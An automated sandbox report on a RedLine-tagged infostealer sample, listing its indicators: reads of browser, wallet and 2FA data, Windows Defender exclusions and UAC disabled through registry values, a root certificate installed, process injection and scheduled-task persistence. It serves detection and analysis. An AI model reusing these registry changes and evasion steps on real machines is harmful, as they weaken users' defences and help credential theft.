redline | ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69

System Information Discovery

Processes:

PhBHa0pcw6rdetIINdEf0_AG.exeInstall.exeGf5qR0bJDJB4tiAoGOULxWjW.exeq1NVvUbNZVGKXKQQ6uK_Fo1Y.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	PhBHa0pcw6rdetIINdEf0_AG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Gf5qR0bJDJB4tiAoGOULxWjW.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Gf5qR0bJDJB4tiAoGOULxWjW.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	q1NVvUbNZVGKXKQQ6uK_Fo1Y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	q1NVvUbNZVGKXKQQ6uK_Fo1Y.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	PhBHa0pcw6rdetIINdEf0_AG.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

sonia_1.exeInstall.exeRg2o0iW8yGLqaViJhkdUVtWR.exeFYHyeEvMgIvnoChQtSIqHlDj.exeoLNPkOWUuqcHfMANGQC_miwX.exeff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exesonia_7.exe0uiEW6ZF5BLFEfNleYluBSkX.exeZchUXakA7zQs1UbptiVU79ID.exe8S6SEqp0C9r04HgrWSxaHdKl.exeXdonnVtCDLKCJINoe1yjPJ_y.exeAdvancedRun.exesetup_installer.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sonia_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	Rg2o0iW8yGLqaViJhkdUVtWR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	FYHyeEvMgIvnoChQtSIqHlDj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	oLNPkOWUuqcHfMANGQC_miwX.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sonia_7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	0uiEW6ZF5BLFEfNleYluBSkX.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	ZchUXakA7zQs1UbptiVU79ID.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	8S6SEqp0C9r04HgrWSxaHdKl.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	XdonnVtCDLKCJINoe1yjPJ_y.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	AdvancedRun.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	setup_installer.exe

Loads dropped DLL 23 IoCs

Processes:

setup_install.exerundll32.exesonia_2.exeHfZ0d3Nym5303FQK5oMQwlcp.exeoLNPkOWUuqcHfMANGQC_miwX.exe8S6SEqp0C9r04HgrWSxaHdKl.exe

pid	process
1824	setup_install.exe
1824	setup_install.exe
1824	setup_install.exe
1824	setup_install.exe
1824	setup_install.exe
1824	setup_install.exe
1824	setup_install.exe
2852	rundll32.exe
2980	sonia_2.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
3172	oLNPkOWUuqcHfMANGQC_miwX.exe
224	8S6SEqp0C9r04HgrWSxaHdKl.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
3172	oLNPkOWUuqcHfMANGQC_miwX.exe
224	8S6SEqp0C9r04HgrWSxaHdKl.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe
1632	HfZ0d3Nym5303FQK5oMQwlcp.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 5 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

XdonnVtCDLKCJINoe1yjPJ_y.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	XdonnVtCDLKCJINoe1yjPJ_y.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	XdonnVtCDLKCJINoe1yjPJ_y.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe = "0"	XdonnVtCDLKCJINoe1yjPJ_y.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	XdonnVtCDLKCJINoe1yjPJ_y.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1"	XdonnVtCDLKCJINoe1yjPJ_y.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 5 IoCs

evasion trojan

System Information Discovery

Processes:

Gf5qR0bJDJB4tiAoGOULxWjW.exeq1NVvUbNZVGKXKQQ6uK_Fo1Y.exePhBHa0pcw6rdetIINdEf0_AG.exeXdonnVtCDLKCJINoe1yjPJ_y.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Gf5qR0bJDJB4tiAoGOULxWjW.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	q1NVvUbNZVGKXKQQ6uK_Fo1Y.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	PhBHa0pcw6rdetIINdEf0_AG.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XdonnVtCDLKCJINoe1yjPJ_y.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	XdonnVtCDLKCJINoe1yjPJ_y.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

20 ipinfo.io
21 ip-api.com
179 ipinfo.io
19 ipinfo.io
Drops file in System32 directory 1 IoCs

Processes:

Install.exe

description ioc process

File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

oLNPkOWUuqcHfMANGQC_miwX.exeBdvc7UYV6muzRKlIumLLzrZp.exed7vAoooQCEdjlwHXaQO5rxvr.exe

pid process

3172 oLNPkOWUuqcHfMANGQC_miwX.exe
3036 Bdvc7UYV6muzRKlIumLLzrZp.exe
4708 d7vAoooQCEdjlwHXaQO5rxvr.exe

flow	ioc
20	ipinfo.io
21	ip-api.com
179	ipinfo.io
19	ipinfo.io

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

pid	process
3172	oLNPkOWUuqcHfMANGQC_miwX.exe
3036	Bdvc7UYV6muzRKlIumLLzrZp.exe
4708	d7vAoooQCEdjlwHXaQO5rxvr.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

Gf5qR0bJDJB4tiAoGOULxWjW.exePhBHa0pcw6rdetIINdEf0_AG.exeq1NVvUbNZVGKXKQQ6uK_Fo1Y.exesonia_9.exed9YofFxLUMnFRDwghrQo46H3.exeXdonnVtCDLKCJINoe1yjPJ_y.exe

description	pid	process	target process
PID 4220 set thread context of 3524	4220	Gf5qR0bJDJB4tiAoGOULxWjW.exe	AppLaunch.exe
PID 4696 set thread context of 4624	4696	PhBHa0pcw6rdetIINdEf0_AG.exe	AppLaunch.exe
PID 5112 set thread context of 3676	5112	q1NVvUbNZVGKXKQQ6uK_Fo1Y.exe	AppLaunch.exe
PID 3000 set thread context of 4604	3000	sonia_9.exe	sonia_9.exe
PID 3532 set thread context of 544	3532	d9YofFxLUMnFRDwghrQo46H3.exe	d9YofFxLUMnFRDwghrQo46H3.exe
PID 1356 set thread context of 3396	1356	XdonnVtCDLKCJINoe1yjPJ_y.exe	XdonnVtCDLKCJINoe1yjPJ_y.exe

Drops file in Windows directory 1 IoCs

Processes:

XdonnVtCDLKCJINoe1yjPJ_y.exe

description ioc process

File created C:\Windows\Microsoft.NET\Framework\v4.0.30319\66i2OKv6hdBe9X5H5.raw XdonnVtCDLKCJINoe1yjPJ_y.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\66i2OKv6hdBe9X5H5.raw	XdonnVtCDLKCJINoe1yjPJ_y.exe

Program crash 17 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1404	1824	WerFault.exe	setup_install.exe
3088	2852	WerFault.exe	rundll32.exe
4608	4800	WerFault.exe	sonia_3.exe
476	4552	WerFault.exe	vVqW0bWz6HMGrdPNiuUKwdnp.exe
3836	2544	WerFault.exe	63VnWUK6R4zmMI1SwoFjvGvH.exe
4604	4488	WerFault.exe	Byoci7hPW_hHuy3ewNZ_TxR9.exe
4872	4488	WerFault.exe	Byoci7hPW_hHuy3ewNZ_TxR9.exe
1080	2544	WerFault.exe	63VnWUK6R4zmMI1SwoFjvGvH.exe
2576	4552	WerFault.exe	vVqW0bWz6HMGrdPNiuUKwdnp.exe
1536	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
484	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
3888	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
3952	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
5060	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
1848	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
1692	2148	WerFault.exe	Rg2o0iW8yGLqaViJhkdUVtWR.exe
4488	1644	WerFault.exe	Sta.exe.pif

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sonia_2.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

0bf1dc29-856b-4082-b552-adfc22f0a91c.exeoLNPkOWUuqcHfMANGQC_miwX.exe8S6SEqp0C9r04HgrWSxaHdKl.exeHfZ0d3Nym5303FQK5oMQwlcp.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	0bf1dc29-856b-4082-b552-adfc22f0a91c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	oLNPkOWUuqcHfMANGQC_miwX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	oLNPkOWUuqcHfMANGQC_miwX.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	8S6SEqp0C9r04HgrWSxaHdKl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	8S6SEqp0C9r04HgrWSxaHdKl.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	HfZ0d3Nym5303FQK5oMQwlcp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	HfZ0d3Nym5303FQK5oMQwlcp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	0bf1dc29-856b-4082-b552-adfc22f0a91c.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3888 schtasks.exe
4316 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

1376 timeout.exe
1180 timeout.exe
3960 timeout.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

1636 tasklist.exe
3488 tasklist.exe

pid	process
3888	schtasks.exe
4316	schtasks.exe

pid	process
1376	timeout.exe
1180	timeout.exe
3960	timeout.exe

pid	process
1636	tasklist.exe
3488	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1004 taskkill.exe
5060 taskkill.exe
1260 taskkill.exe

pid	process
1004	taskkill.exe
5060	taskkill.exe
1260	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sonia_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sonia_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sonia_3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

jfiag3g_gg.exesonia_2.exe

pid	process
4664	jfiag3g_gg.exe
4664	jfiag3g_gg.exe
2980	sonia_2.exe
2980	sonia_2.exe
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048
3048

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3048
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

sonia_2.exe

pid process

2980 sonia_2.exe

pid	process
3048

pid	process
2980	sonia_2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

sonia_6.exesonia_5.exesonia_10.exeZchUXakA7zQs1UbptiVU79ID.exed7vAoooQCEdjlwHXaQO5rxvr.exeBdvc7UYV6muzRKlIumLLzrZp.exeFYHyeEvMgIvnoChQtSIqHlDj.exetasklist.exe

description	pid	process
Token: SeDebugPrivilege	320	sonia_6.exe
Token: SeDebugPrivilege	2956	sonia_5.exe
Token: SeDebugPrivilege	8	sonia_10.exe
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeDebugPrivilege	4048	ZchUXakA7zQs1UbptiVU79ID.exe
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeDebugPrivilege	4708	d7vAoooQCEdjlwHXaQO5rxvr.exe
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeDebugPrivilege	3036	Bdvc7UYV6muzRKlIumLLzrZp.exe
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeDebugPrivilege	3424	FYHyeEvMgIvnoChQtSIqHlDj.exe
Token: SeDebugPrivilege	1636	tasklist.exe
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048
Token: SeShutdownPrivilege	3048
Token: SeCreatePagefilePrivilege	3048

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

Sta.exe.pif

pid process

812 Sta.exe.pif
3048
3048
812 Sta.exe.pif
812 Sta.exe.pif
3048
3048
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Sta.exe.pif

pid process

812 Sta.exe.pif
812 Sta.exe.pif
812 Sta.exe.pif

pid	process
812	Sta.exe.pif
3048
3048
812	Sta.exe.pif
812	Sta.exe.pif
3048
3048

pid	process
812	Sta.exe.pif
812	Sta.exe.pif
812	Sta.exe.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_1.exe

description	pid	process	target process
PID 4704 wrote to memory of 3524	4704	ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exe	setup_installer.exe
PID 4704 wrote to memory of 3524	4704	ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exe	setup_installer.exe
PID 4704 wrote to memory of 3524	4704	ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exe	setup_installer.exe
PID 3524 wrote to memory of 1824	3524	setup_installer.exe	setup_install.exe
PID 3524 wrote to memory of 1824	3524	setup_installer.exe	setup_install.exe
PID 3524 wrote to memory of 1824	3524	setup_installer.exe	setup_install.exe
PID 1824 wrote to memory of 364	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 364	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 364	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1736	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1736	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1736	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 3596	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 3596	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 3596	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 3828	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 3828	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 3828	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1612	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1612	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1612	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1352	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1352	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1352	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 4308	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 4308	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 4308	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1388	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1388	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 1388	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 2092	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 2092	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 2092	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 4304	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 4304	1824	setup_install.exe	cmd.exe
PID 1824 wrote to memory of 4304	1824	setup_install.exe	cmd.exe
PID 1388 wrote to memory of 2444	1388	cmd.exe	sonia_8.exe
PID 1388 wrote to memory of 2444	1388	cmd.exe	sonia_8.exe
PID 1388 wrote to memory of 2444	1388	cmd.exe	sonia_8.exe
PID 3828 wrote to memory of 3148	3828	cmd.exe	sonia_4.exe
PID 3828 wrote to memory of 3148	3828	cmd.exe	sonia_4.exe
PID 3828 wrote to memory of 3148	3828	cmd.exe	sonia_4.exe
PID 4308 wrote to memory of 2472	4308	cmd.exe	sonia_7.exe
PID 4308 wrote to memory of 2472	4308	cmd.exe	sonia_7.exe
PID 4308 wrote to memory of 2472	4308	cmd.exe	sonia_7.exe
PID 1736 wrote to memory of 2980	1736	cmd.exe	sonia_2.exe
PID 1736 wrote to memory of 2980	1736	cmd.exe	sonia_2.exe
PID 1736 wrote to memory of 2980	1736	cmd.exe	sonia_2.exe
PID 2092 wrote to memory of 3000	2092	cmd.exe	sonia_9.exe
PID 2092 wrote to memory of 3000	2092	cmd.exe	sonia_9.exe
PID 2092 wrote to memory of 3000	2092	cmd.exe	sonia_9.exe
PID 1612 wrote to memory of 2956	1612	cmd.exe	sonia_5.exe
PID 1612 wrote to memory of 2956	1612	cmd.exe	sonia_5.exe
PID 4304 wrote to memory of 8	4304	cmd.exe	sonia_10.exe
PID 4304 wrote to memory of 8	4304	cmd.exe	sonia_10.exe
PID 364 wrote to memory of 4712	364	cmd.exe	sonia_1.exe
PID 364 wrote to memory of 4712	364	cmd.exe	sonia_1.exe
PID 364 wrote to memory of 4712	364	cmd.exe	sonia_1.exe
PID 3596 wrote to memory of 4800	3596	cmd.exe	sonia_3.exe
PID 3596 wrote to memory of 4800	3596	cmd.exe	sonia_3.exe
PID 3596 wrote to memory of 4800	3596	cmd.exe	sonia_3.exe
PID 1352 wrote to memory of 320	1352	cmd.exe	sonia_6.exe
PID 1352 wrote to memory of 320	1352	cmd.exe	sonia_6.exe
PID 4712 wrote to memory of 3036	4712	sonia_1.exe	sonia_1.exe

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

XdonnVtCDLKCJINoe1yjPJ_y.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	XdonnVtCDLKCJINoe1yjPJ_y.exe

C:\Users\Admin\AppData\Local\Temp\ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exe
"C:\Users\Admin\AppData\Local\Temp\ff13ad3377314c71fd16ed2328643957e3ae8f3b513ea2db461705b9e2032c69.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4704

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
